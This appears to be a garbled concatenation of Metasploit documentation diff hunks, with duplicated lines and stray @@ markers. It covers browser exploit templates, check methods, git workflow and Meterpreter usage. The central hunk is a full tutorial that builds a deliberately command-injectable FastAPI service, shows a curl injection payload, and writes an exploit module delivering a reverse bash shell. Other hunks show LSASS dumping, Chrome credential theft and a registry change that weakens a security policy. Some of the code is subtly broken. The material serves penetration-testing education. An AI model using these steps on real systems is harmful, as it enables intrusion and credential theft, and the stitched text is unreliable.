Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provies all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provides all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones).
To get things started, you can always use the following template to start developing your browser exploit:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -37,6 +37,10 @@ The `CheckCode` also supports an optional description which is printed by the fr
return CheckCode::Appears('Vulnerable component XYZ is installed')
```
`MetasploitModule#check` methods should capture any known `raise` from methods called and return value of class
`Msf::Exploit::CheckCode`. Basically, that means avoiding the use of `fail_with` or raising exceptions that are not
handled within the check method.
## Remote Check Example
Here's an abstract example of how a Metasploit check might be written:
@@ -54,7 +58,7 @@ def check
http_body = get_http_body
if http_body
if http_body =~ /Something CMS v1\.0/
# We are able to find the version thefore more precise about the vuln state
# We are able to find the version therefore more precise about the vuln state
return Exploit::CheckCode::Appears
elsif http_body =~ /Something CMS/
# All we can tell the vulnerable app is running, but no more info to
@@ -127,4 +131,28 @@ def check
end
```
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic.
## AutoCheck Mixin
Metasploit offers the possibility to automatically call the `check` method before the `exploit` or `run` method is run. Just prepend the `AutoCheck` module for this, nothing more:
```ruby
prepend Msf::Exploit::Remote::AutoCheck
```
According to the `CheckCode` returned by the `check` method, Framework will decided if the module should be executed or not:
| Checkcode | Module executed? |
| --------- | ----------- |
| **Exploit::CheckCode::Vulnerable** | yes |
| **Exploit::CheckCode::Appears** | yes |
| **Exploit::CheckCode::Detected** | yes |
| **Exploit::CheckCode::Safe** | no |
| **Exploit::CheckCode::Unsupported** | no |
| **Exploit::CheckCode::Unknown** | no |
This mixin brings two new options that let the operator control its behavior:
- `AutoCheck`: Sets whether or not the `check` method will be run. Default is `true`.
- `ForceExploit`: Override the check result. The `check` method is run but the module will be executed regardless of the result. Default is `false`.
@@ -0,0 +1,210 @@
If you've found a way to execute a command on a target, and you'd like to make a simple exploit module to get a shell, this guide is for you. Alternatively, if you have access to **fetch** commands on the target (curl, wget, ftp, tftp, tnftp, or certutil), you can use a [[Fetch Payload|How-to-use-fetch-payloads]] for a no-code solution.
By the end of this guide you'll understand how to turn [Command injection](https://owasp.org/www-community/attacks/Command_Injection) into a shell - from here, you can move on to the [[command stager|How-to-use-command-stagers]] article and upgrade your basic `:unix_cmd` Target to a Dropper for all kinds of payloads with variable command stagers.
This guide assumes *some* knowledge of programming (Understand what a class is, what methods/functions are) but expects no in-depth knowledge of Metasploit internals.
## A Vulnerable Service
For the vulnerable service test case, we'll be using a simple FastAPI service. This is very easy to spin up:
1. Install `fastapi[all]` using your preferred Python package manager (a virtual environment is recommended)
2. Create a file to hold some Python code (I'll call it `main.py`)
3. Copy the following code into your file:
```python
from fastapi import FastAPI, Response
import subprocess
app = FastAPI()
@app.get("/ping")
def ping(ip : str):
res = subprocess.run(f"ping -c 1 {ip}", shell=True, capture_output=True)
return Response(content=res.stdout.decode("utf-8"), media_type="text/plain")
```
4. Start your vulnerable service with `uvicorn main:app`
5. Test that the application works with `curl`:
```sh
$ curl http://localhost:8000/ping?ip=1.1.1.1
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.7 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.739/16.739/16.739/0.000 ms
```
6. Test that your application is exploitable - also with `curl`:
```sh
$ curl localhost:8000/ping?ip=1.1.1.1%20%26%26id
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.6 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.614/16.614/16.614/0.000 ms
uid=1000(meta) gid=1000(meta)
```
With this output `uid=1000(meta) gid=1000(meta)`, we know that the `id` command successfully executed on the target system. Now that we have a vulnerable application we can write a module to pwn it.
## The Structure of a Module
To have a functioning command injection Metasploit module we **need** a few things:
1. Create a subclass of `Msf::Exploit::Remote`
2. Include the `Msf::Exploit::Remote::HttpClient` mixin
3. Define three methods:
- `initialize`, which defines metadata for the Module
- `execute_command`, which is what runs the command against the remote server
- `exploit`, wraps `execute_command`, and can handle some logic when we move to a cmdstager module
4. (Not required, but recommended) a method to substitute or escape bad characters, to be used inside `execute_command`. This could also just be done inside `execute_command` instead of a separate function call.
### Where to put a Module
Metasploit looks for custom modules at `$HOME/.msf4/modules`, but the way you get modules there varies based on how you're running Metasploit.
- If you have a full install of Metasploit on your host, you can just add your custom module to `$HOME/.msf4/modules/exploits/custom_mod.rb`.
- You can also just add a module to Metasploit's modules folder - This can be helpful when troubleshooting, but it's not recommended
- **Docker** If you're using the [Docker Image](https://github.com/rapid7/metasploit-framework/tree/master/docker), you can also add modules to `$HOME/.msf4/modules` and that folder will be mounted as a volume inside the Docker container
- You can also change the mount point by modifying the [docker-compose](https://github.com/rapid7/metasploit-framework/blob/master/docker-compose.yml) file
For testing, the easiest thing to do is the simplest. You can find Metasploit's **exploit** directory, copy a file, rename it, and go from there.
## A Shell of a Module
The shell of a module that follows the above format is something like this:
```ruby
class MetasploitModule < msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
# empty for now
end
def filter_bad_chars(cmd)
# empty for now
end
def execute_command(cmd, _opts = {})
# empty for now
end
def exploit
# empty for now
end
end
```
This covers every essential point from [The Structure of a Module](#the-structure-of-a-module), although it won't run yet.
## Initialize
The `initialize` method is used to define and pass metadata. Every `initialize` method in the metasploit-framework codebase follows the format of an empty `info` being passed into `update_info`, which gets passed to the `msf::Exploit::Remote` `initialize` method:
```ruby
def initialize(info = {})
super(
update_info(
info,
# Here is where the metadata goes
'Name' => 'Command Injection against a test Ping endpoint',
'Description' => 'This exploits a command injection vulnerability against a test application',
'License' => MSF_LICENSE,
'Author' => 'YOUR NAME',
'References' => [
['URL', 'https://metasploit.com/']
],
'DisclosureDate' => '2023-08-04',
'Platform' => 'linux', # used for determining compatibility - if you're doing code injection, this may be the language of the webapp
'Targets' => [
'Unix Command',
{
'Platform' => ['linux', 'unix'], # linux and unix have different cmd payloads, this gives you more options
'Arch' => ARCH_CMD,
'Type' => :unix_cmd, # Running a command - this would be `:linux_dropper` for a cmdstager dropper
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 8000,
}
}
],
'Payload' => {
'BadChars' => '\x00',
}
'Notes' => { # Required for new modules https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
# Some more metadata options are here: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/module-reference-identifiers.html#code-example-of-references-in-a-module
)
)
end
```
All that this method does is register metadata to the module.
## Filtering
It's important to ensure that payloads being sent are properly encoded. As an example, if you send a request to the `/ping` endpoint that looks like `/ping?ip=1.1.1.1&&id`, you won't see the "uid=1000(meta) gid=1000(meta)" in the response because `&` is a special character in HTTP.
Encoding requirements might change based on the application you're trying to inject, so experiment if things aren't working.
```ruby
def filter_bad_chars(cmd)
return cmd
.gsub(/&/, '%26')
.gsub(/ /, '%20')
end
```
`filter_bad_chars` takes in `cmd`, which is a string. `cmd` has two substitutions applied - the first will translate `&` to `%26`, the second translates a space to `%20`. The `.gsub` statements are a global substitution across the string, so the entire payload is impacted by the substitutions here (Similar to str.replace in Python). Regardless of whether or not the string is modified, it is returned.
## Execution
The `execute_command` method takes in `cmd` and `_opts` and executes the command on the target. In our case, executing a command is simply adding the command to a GET request and sending it to the `/ping` endpoint on our sample service.
```ruby
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => '/ping',
'encode_params' => false,
'vars_get' => {
'ip' => "bing.com%20%26%26%20#{filter_bad_chars(cmd)}",
}
})
end
```
We don't even need to handle the output of `send_request_cgi` (Really, there should be no return until the shell exits, since the call to `subprocess.run` doesn't return until that shell dies).
## Exploitation
To finish up, all we need is to define the `exploit` method. This method is called by Metasploit when you use `run` within a msfconsole. All that we'll do here is print a little status message and run the exploit, but later you can modify this method to handle droppers as well:
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
```
If you're running Metasploit and the vulnerable Python service on the same machine, you should be able to simply set the variables and fire:
```sh
set RHOST 127.0.0.1
set LHOST 127.0.0.1
run
```
## Conclusion
That's it. Put it all together and you have a very simple Command Injection exploit module that shows you the basics of how to throw a payload. Play around with different payloads, follow the [[How-to-use-command-stagers]] guide, add some logging to the Python web server, and watch executions over Wireshark. You'll learn a lot.
@@ -8,7 +8,7 @@ Here is how you can set it up:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
@@ -54,16 +54,16 @@ In addition, we're going to add a magical line to the config file that will let
So, open up `metasploit-framework/.git/config` with your favorite editor, add an upstream remote, and add the pull request refs for both your and Rapid7's forks. In the end, you should have a section that started off like this:
````config
```config
[remote "upstream"]
fetch = +refs/heads/*:refs/remotes/upstream/*
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
url = https://github.com/rapid7/metasploit-framework
````
```
And now it looks like this:
````config
```config
[remote "upstream"]
fetch = +refs/heads/*:refs/remotes/upstream/*
fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
@@ -72,13 +72,13 @@ And now it looks like this:
fetch = +refs/heads/*:refs/remotes/origin/*
fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
url = https://github.com/YOURNAME/metasploit-framework
````
```
Some people like to copy these over into remotes named "rapid7" and "yourusername" just so they don't have to remember about "origin" and "upstream," but for this doc, we'll just assume you have "origin" and "upstream" defined like this.
Now, you can git fetch the remote PRs. This will take a little bit, since we have a couple dozen MBs of pull request data. Storage is cheap, though, right?
````
```
$ git fetch --all
Fetching todb-r7
remote: Counting objects: 13, done.
@@ -97,7 +97,7 @@ From https://github.com/rapid7/metasploit-framework
[... bunches of tags and PRs ...]
* [new ref] refs/pull/1701/head -> upstream/pr/1701
* [new ref] refs/pull/1702/head -> upstream/pr/1702
````
```
You can `git fetch` a remote any time, and you'll get access to the latest changes to all branches and pull requests.
@@ -105,7 +105,7 @@ You can `git fetch` a remote any time, and you'll get access to the latest chang
A manageable strategy for dealing with outstanding PRs is to start pre-merge testing on the pull request in isolation. For example, to work on PR #1217, we would:
````
```
$ git checkout upstream/pr/1217
Note: checking out 'upstream/pr/1217'.
@@ -124,7 +124,7 @@ HEAD is now at 9e499e5... Make BindTCP test more robust
```
$ git checkout -b landing-1217
````
```
Now, we're on a local branch identical to the original pull request, and can move on from there. We can make our changes, isolated from master, and then either send them back to the contributor (this requires looking up the original contributor's GitHub username and branch name on GitHub), or if there aren't any changes or the changes are trivial, we can land them (if you have committer rights to Rapid7's repo, this is where you land them to the upstream repo).
@@ -173,7 +173,7 @@ You need to add their fork once as a remote: `git remote add OTHER_USER git://gi
# Making changes
````
```
$ gvim .gitignore
[... make some changes and some commits ...]
(landing-1217) todb@mazikeen:~/git/rapid7/metasploit-framework
@@ -184,21 +184,21 @@ $ git push origin pr1271-fix-gitignore-conflict
(pr1217-fix-gitignore-conflict) todb@mazikeen:~/git/rapid7/metasploit-framework
$ git pr-url schierlm javapayload-maven
Created new window in existing browser session.
````
```
This sequence does a few things after editing `.gitconfig`. It creates another copy of landing-1217 (which is itself a copy of upstream/pr/1217)). Next, I push those changes to my branch (todb-r7, aka "origin"). Finally, I have a mighty [.gitconfig alias here](https://gist.github.com/todb-r7/5438391) to open a browser window to send a pull request to the original contributor's branch (you will want to edit yours to reflect your real GitHub username, of course).
````
```ini
pr-url = !"echo https://github.com/YOURNAME/metasploit-framework/pull/new/HISNAME:HISBRANCH...YOURBRANCH"
````
```
Filling in the blanks (provided by the original PR's information from GitHub) gets me:
````
```
https://github.com/todb-r7/metasploit-framework/pull/new/schierlm:javapayload-maven...pr1217-fix-gitignore-conflict
````
```
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once @schierlm landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
I opened that in a browser, and ended up with https://github.com/schierlm/metasploit-framework/pull/1 . Once [@schierlm](https://github.com/schierlm) landed it on his branch (again, using `git merge --no-ff` and a short, informational merge commit message), all I (or anyone) had to do was `git fetch` to get the change reflected in upstream/pr/1217, and then the integration of the PR could continue.
# Collaboration between contributors
@@ -206,9 +206,9 @@ Note the important bit here: **you do not need commit rights to Rapid7 to branch
# Landing to upstream
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else (@jlee-r7) was able to to do something like this:
Back to PR #1217. Turns out, my change was enough to land the original chunk of work. So, someone else ([@jlee-r7](https://github.com/jlee-r7)) was able to to do something like this:
````
```
$ git fetch upstream
remote: Counting objects: 12, done.
remote: Compressing objects: 100% (2/2), done.
@@ -216,31 +216,31 @@ remote: Total 7 (delta 5), reused 7 (delta 5)
Unpacking objects: 100% (7/7), done.
From https://github.com/rapid7/metasploit-framework
9e499e5..263e967 refs/pull/1651/head -> upstream/pr/1651
````
```
This all looked good, so he could land this to Rapid7's repo with:
````
``
$ git checkout -b upstream-master --track upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
``
Or, if he already have upstream-master checked out:
````
```
$ git checkout upstream-master
$ git rebase upstream/master
$ git merge -S --no-ff --edit landing-1217
$ git push upstream upstream-master:master
````
```
The `--edit` is optional if we have our editor configured correctly in `$HOME/.gitconfig`. The point here is that we *always* want a merge commit, and we *never* want to use the (often useless) default merge commit message. For #1217, this was changed to:
````commit
```
Land #1217, java payload build system refactor
````
```
Note that you should rebase *before* landing -- otherwise, your merge commit will be lost in the rebase.
@@ -248,7 +248,7 @@ Finally, the -S indicates we are going to sign the merge, using our GPG key. Thi
To set yourself up for signing, your .gitconfig (or metasploit-framework/git/.config) file should have these entries:
````
```ini
[user]
name = Your Name
email = your@email.xxx
@@ -256,7 +256,7 @@ signingkey = DEADBEEF # Must match exactly with your key for "Your Name <your@em
[alias]
c = commit -S --edit
m = merge -S --no-ff --edit
````
```
People with commit rights to rapid7/metasploit-framework will have their [[keys listed here|./Committer-Keys.md]].
@@ -271,10 +271,6 @@ Release note examples:
The [rn-no-release-notes](https://github.com/rapid7/metasploit-framework/issues?utf8=%E2%9C%93&q=label%3Arn-no-release-notes+) label must be added if there are no release notes for the merged pull request.
# Cross-linking PRs, Bugs, and Commits
TODO: Update in this new post-Redmine, GitHub issues world
# Merge conflicts
The nice thing about this strategy is that you can test for merge conflicts straight away. You'd use a sequence like:
@@ -291,4 +287,4 @@ If that works, great, you know you don't have any merge conflicts right now.
# Questions and Corrections
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
Reach out in #contributors on [Metasploit Slack](https://metasploit.com/slack), or by e-mailing msfdev at metasploit dot com.
@@ -16,17 +16,17 @@ If listeners are externalized, then there is an API layer both for interactive i
### Integration of native tool-chains
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a diffcult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a difficult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
### Native first-class UUID-aware, async stager payload
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from @bwatters-r7.
Make a new async payload type (based on pingback payload work) making secure comms, endpoint verification, and async communication first-class citizens, and on by default. These session types would support a much more limited set of actions than Meterpreter, only supporting sleep/upload/download/stage, but would be upgraded to Meterpreter directly as-needed (maybe even transparently). Network protocols can be much more exotic for this, and the listener/payload should be usable externally from Metasploit as well. Todo: pull in async payload proposal notes from [@bwatters-r7](https://github.com/bwatters-r7).
## Module Interface
### Overhaul network targeting
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart futher. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart further. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
```
set TARGETS https://user:password@target_app:4343 https://target_app2
@@ -73,7 +73,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_ALL_OBJECT_CATEGORY` - Dump all objects containing any objectCategory field.
- `ENUM_ALL_OBJECT_CLASS` - Dump all objects containing any objectClass field.
- `ENUM_COMPUTERS` - Dump all objects containing an objectCategory or objectClass of Computer.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow contrained delegation.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow constrained delegation.
- `ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class.
- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries.
- `ENUM_DOMAIN` - Dump info about the Active Directory domain.
@@ -89,7 +89,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_MACHINE_ACCOUNT_QUOTA` - Dump the number of computer accounts a user is allowed to create in a domain.
- `ENUM_ORGROLES` - Dump info about all known organization roles in the LDAP environment.
- `ENUM_ORGUNITS` - Dump info about all known organizational units in the LDAP environment.
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow uncontrained delegation.
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow unconstrained delegation.
- `ENUM_USER_ACCOUNT_DISABLED` - Dump info about disabled user accounts.
- `ENUM_USER_ACCOUNT_LOCKED_OUT` - Dump info about locked out user accounts.
- `ENUM_USER_ASREP_ROASTABLE` - Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.
@@ -23,7 +23,7 @@ Matching Modules
There are two ways to launch a Post module, both require an existing session.
Within a msf prompt you can use the `use` comand followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
```msf
msf6 > use post/windows/gather/enum_chrome
@@ -4,7 +4,7 @@ SMB (Server Message Blocks), is a way for sharing files across nodes on a networ
There are two main ports for SMB:
- 139/TCP - Initially Microsoft implemented SMB ontop of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 139/TCP - Initially Microsoft implemented SMB on top of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
Other terminology to be aware of:
@@ -147,7 +147,7 @@ Open a WinRM session:
```msf
msf6 > use auxiliary/scanner/winrm/winrm_login
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd win::rmauth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
[+] 192.168.123.13:88 - Received a valid TGT-Response
[*] 192.168.123.13:5985 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
@@ -1,4 +1,4 @@
The Loginpalooza contest is over! Congrats and thanks to @TomSellers, @ChrisTuncer, and @0a2940!
The Loginpalooza contest is over! Congrats and thanks to [@TomSellers](https://github.com/TomSellers), [@ChrisTruncer](https://github.com/ChrisTruncer), and [@0a2940](https://github.com/0a2940)!
The list of [modules to refactor](#modules-to-refactor) is still here. Modules that get refactored should be removed from the list entirely.
@@ -115,4 +115,4 @@ If you'd like to learn how to convert your favorite existing module, or write a
- [ ]
[post/windows/gather/enum_domains.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_domains.rb) - Creates realms
- [ ]
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
[post/windows/gather/enum_logged_on_users.rb](https://github.com/rapid7/metasploit-framework/tree/master/modules/post/windows/gather/enum_logged_on_users.rb) - Creates publics but not privates
@@ -83,7 +83,7 @@ php shell_http.php
```
use windows/x64/meterpreter_reverse_tcp
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/test/foo.txt'
generate -f exe -o shell.exe MeterpreterDebugBuild=true MeterpreterDebugLogging='rpath:C:/Windows/Temp/foo.txt'
to_handler
```
@@ -10,7 +10,7 @@ Meterpreter even when running on the Windows platform.
crashes, the Meterpreter session will die. It is suggested that users invoke this functionality through a dedicated
session to avoid losing access altogether.
The loader and execution environment are provided by [trustedsec/COFFLoader][3]. The extension is therefor subject to
The loader and execution environment are provided by [trustedsec/COFFLoader][3]. The extension is therefore subject to
the same limitations.
The following functions are unavailable:
@@ -33,8 +33,6 @@ The `bofloader` extension provides exactly one command, through which all of the
`execute_bof </path/to/bof_file> [Options] -- [BOF Arguments]`
* `-c` / `--compile` -- Compile the input file (requires mingw).
* `-e` / `--entry` -- The entry point (default: `go`).
* `-f` / `--format-string` -- Argument format-string. See details below.
@@ -79,7 +77,7 @@ argument format string.
# Usage Examples
Executing [dir][4], passing the path argument and number of sub-directories to list.
```
```msf
meterpreter > execute_bof CS-Situational-Awareness-BOF/SA/dir/dir.x64.o --format-string Zs C:\\ 0
Contents of C:\*:
08/05/2022 15:17 <dir> $Recycle.Bin
@@ -103,7 +101,7 @@ meterpreter >
Executing [nanodump][5]. First the PID of LSASS is found, then the argument string is constructed. The output must be
written to disk. Once completed, the dump file can be downloaded from the remote host.
```
```msf
meterpreter > ps lsass
Filtering on 'lsass'
@@ -32,7 +32,7 @@ Each value also has an associated type, for example:
All of these examples assume you are in a Meterpreter session. To see the latest help information run `help reg`:
```
```msf
meterpreter > help reg
Usage: reg [command] [options]
Interact with the target machine's registry.
@@ -44,7 +44,7 @@ Interact with the target machine's registry.
Registry keys must be escaped correctly. Window's registry keys are escaped with backslashes. In msfconsole backslashes and spaces have a special meaning - which means you will need to escape these characters for your key to work as expected.
```
```msf
# Valid: Using single quotes around the registry key
meterpreter > reg enumkey -k 'HKCU\Keyboard Layout'
@@ -75,7 +75,7 @@ Active sessions
For example - when interacting with a x86 session there are 12 keys listed:
```
```msf
# x86 Session
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -86,7 +86,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
Versus a x64 session which shows 23 keys:
```
```msf
# x64 Session
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -98,7 +98,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
If this is problematic either [[upgrade your session to Meterpreter|./Metasploit-Guide-Upgrading-Shells-to-Meterpreter.md]], or specify the `-w` flag which will impact the result of queries:
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 32
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -106,7 +106,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
# ... omitted for clarity ...
```
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows' -w 64
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
@@ -119,7 +119,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
Enumerate a root key:
```
```msf
meterpreter > reg enumkey -k HKLM
Enumerating: HKLM
@@ -135,7 +135,7 @@ Enumerating: HKLM
Enumerate a subkey:
```
```msf
meterpreter > reg enumkey -k 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
@@ -149,7 +149,7 @@ Enumerating: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Display the registry value and type information:
```
```msf
meterpreter > reg queryval -k 'HKLM\Software\Microsoft\Windows NT\CurrentVersion' -v ProductName
Key: HKLM\Software\Microsoft\Windows NT\CurrentVersion
Name: ProductName
@@ -159,7 +159,7 @@ Data: Windows 10 Enterprise
Values that are of type `REG_SZ_EXPAND` such as ` %SystemRoot%\system32\drivers\GM.DLS` will not automatically be expanded:
```
```msf
meterpreter > reg queryval -k 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic' -v 'GMFilePath'
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectMusic
Name: GMFilePath
@@ -169,7 +169,7 @@ Data: C:\Windows\system32\drivers\GM.DLS
Values that are of type `REG_MULTI_SZ` will be separated by `\0`:
```
```msf
meterpreter > reg queryval -k 'HKLM\Software\example' -v 'example multi value with spaces'
Key: HKLM\Software\example
Name: example multi value with spaces
@@ -179,7 +179,7 @@ Data: line1\0line2\0line3
### Creating a key
```
```msf
meterpreter > reg createkey -k 'HKLM\software\example'
Successfully created key: HKLM\software\example
```
@@ -188,42 +188,42 @@ Successfully created key: HKLM\software\example
Setting a `REG_DWORD` - use a decimal value:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\system' -v LocalAccountTokenFilterPolicy -t REG_DWORD -d 1
Successfully set LocalAccountTokenFilterPolicy of REG_DWORD.
```
Setting a `REG_QWORD` - use a decimal value:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_DWORD -v qword_example -d 12345678
Successfully set example multi value with spaces of REG_MULTI_SZ.
```
Setting `REG_MULTI_SZ` - i.e. an array of strings:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_MULTI_SZ -v 'example multi value with spaces' -d 'line1\0line2\0line3'
Successfully set example multi value with spaces of REG_MULTI_SZ.
```
Setting `REG_BINARY` - use lowercase hexadecimal input without the preceding `0x`:
```
```msf
meterpreter > reg setval -k 'HKLM\Software\example' -t REG_BINARY -v binary_example -d deadbeef
Successfully set binary_example of REG_BINARY.
```
### Deleting a key
```
```msf
meterpreter > reg deletekey -k 'HKLM\software\example'
Successfully deleted key: HKLM\software\example
```
### Deleting a value
```
```msf
meterpreter > reg deleteval -k 'HKLM\software\example' -v 'example multi value with spaces'
Successfully deleted example multi value with spaces.
```
@@ -2,7 +2,7 @@ Of the many recent changes to Meterpreter, reliable network communication is one
In the case of HTTP/S transports, some resiliency features were present. Thanks to its stateless nature, HTTP/S transports would continue to attempt to talk to Metasploit after network outages or other unexpected problems as each command request/response is transmitted over a fresh connection. TCP based transports had nothing that would attempt to reconnect should some kind of network issue occur.
